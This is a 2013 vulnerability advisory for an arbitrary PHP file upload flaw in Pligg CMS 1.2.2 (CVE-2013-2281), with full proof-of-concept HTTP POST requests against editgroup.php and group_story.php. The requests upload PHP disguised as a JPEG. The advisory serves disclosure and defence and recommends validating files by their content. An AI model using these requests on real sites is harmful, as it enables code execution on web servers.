Multiple Remote File Inclusions on Pligg CMS version 1.2.2

Title: Multiple Remote File Inclusions on Pligg CMS version 1.2.2
Release Date: 2013/03/01
Vulnerable Application: Pligg CMS (ver. 1.2.2)
Type: Remote File Inclusion
Level: Very High (Low/High/Critical)
CVSS: 4.3 (Av:N/AC:M/Au:S/C:P/I:P/A:P)

Dognædis Ref.: DGS-SEC-10
CVE Ref.: CVE-2013-2281
Other Ref.:
Discover Credits: CodeV - Code Analyzer
Bulletin Author(s): Rocha -CodeV Team
Contact: irt@dognaedis.com

Overview:

Pligg was created as a social networking CMS. While most content management systems are designed for only a handful of authors, Pligg CMS was designed to manage a site with an unlimited number of authors. All of these registered users are in control of the website's content. It is a user driven CMS that relies on independent authors' content and participation to manage news articles.

Scope:

File: app_root/editgroup.php?id=1

Vulnerable Argument(s): if(!in_array($_FILES['image_file']['type'],$allowedFileTypes))

Code:

```
line 68: $result = @move_uploaded_file($_FILES['image_file']['tmp_name'], $newimage);
```

Proof(s) of Concept:

```
POST <app_root>/editgroup.php?id=1 HTTP/1.1
Host: <host_location>
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: <app_root>/editgroup.php?id=1
Cookie: PHPSESSID=<session_id>; mnm_user=admin; mnm_key=<key>
Content-Type: multipart/form-data; boundary=---------------------------9709314337503198121012412638
Content-Length: <length_of_content>
-----------------------------9709314337503198121012412638
Content-Disposition: form-data; name="token"

46af51d42229243f0bdc35c52c82814e
-----------------------------9709314337503198121012412638
Content-Disposition: form-data; name="image_file"; filename=<file_to_upload>
Content-Type: image/jpeg
<?php
  phpinfo();
?>
-----------------------------9709314337503198121012412638
```

```
Content-Disposition: form-data; name="idname"

1
-----------------------------970931433750319812101241263 8
Content-Disposition: form-data; name="avatar"

uploaded
-----------------------------970931433750319812101241263 8
Content-Disposition: form-data; name="avatarsource"

useruploaded
-----------------------------970931433750319812101241263 8
Content-Disposition: form-data; name="action"

Upload Image
-----------------------------970931433750319812101241263 8--
```

File: app_root/group_story.php
Vulnerable Argument(s): if(!in_array($_FILES['image_file']['type'],$allowedFileTypes))
Code:

```
line 140: $result = @move_uploaded_file($_FILES['image_file']['tmp_name'], $newimage);
```

Proof(s) of Concept:

```
POST <app_root>/group_story.php?id=1 HTTP/1.1
Host: <host_location>
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: <app_root>/group_story.php?id=1
Cookie: PHPSESSID=<session_id>; mnm_user=admin; mnm_key=<key>
Content-Type: multipart/form-data; boundary=---------------------------970931433750319812101241263 8
Content-Length: <length_of_content>
-----------------------------970931433750319812101241263 8
Content-Disposition: form-data; name="token"

46af51d42229243f0bdc35c52c82814e
-----------------------------970931433750319812101241263 8
Content-Disposition: form-data; name="image_file"; filename=<file_to_upload>
Content-Type: image/jpeg
<?php
  phpinfo();
?>
-----------------------------970931433750319812101241263 8
Content-Disposition: form-data; name="idname"

1
-----------------------------970931433750319812101241263 8
Content-Disposition: form-data; name="avatar"
```

```
uploaded
-----------------------------970931433750319812101241263 8
Content-Disposition: form-data; name="avatarsource"

useruploaded
-----------------------------970931433750319812101241263 8
Content-Disposition: form-data; name="action"

Upload Image
-----------------------------970931433750319812101241263 8--
```

Description:

This vulnerability allows an attacker to upload non expected content, for instance a php file, that will be executed while loading the file.

Impact:

Generally, by exploiting this kind of vulnerability, it might be possible to achieve possible attack vectors to various kinds of attacks such as:

- Code execution on the web server
- Code execution on the client
- Denial of Service

Resolution:

Validation of uploaded files by the user should not be made through the headers of the POST request, but by the contents itself.

Official Solution:

At the moment, there is no official solution for the reported vulnerabilities.

External References:

http://en.wikipedia.org/wiki/Remote_file_inclusion
https://www.owasp.org/index.php/PHP_File_Inclusion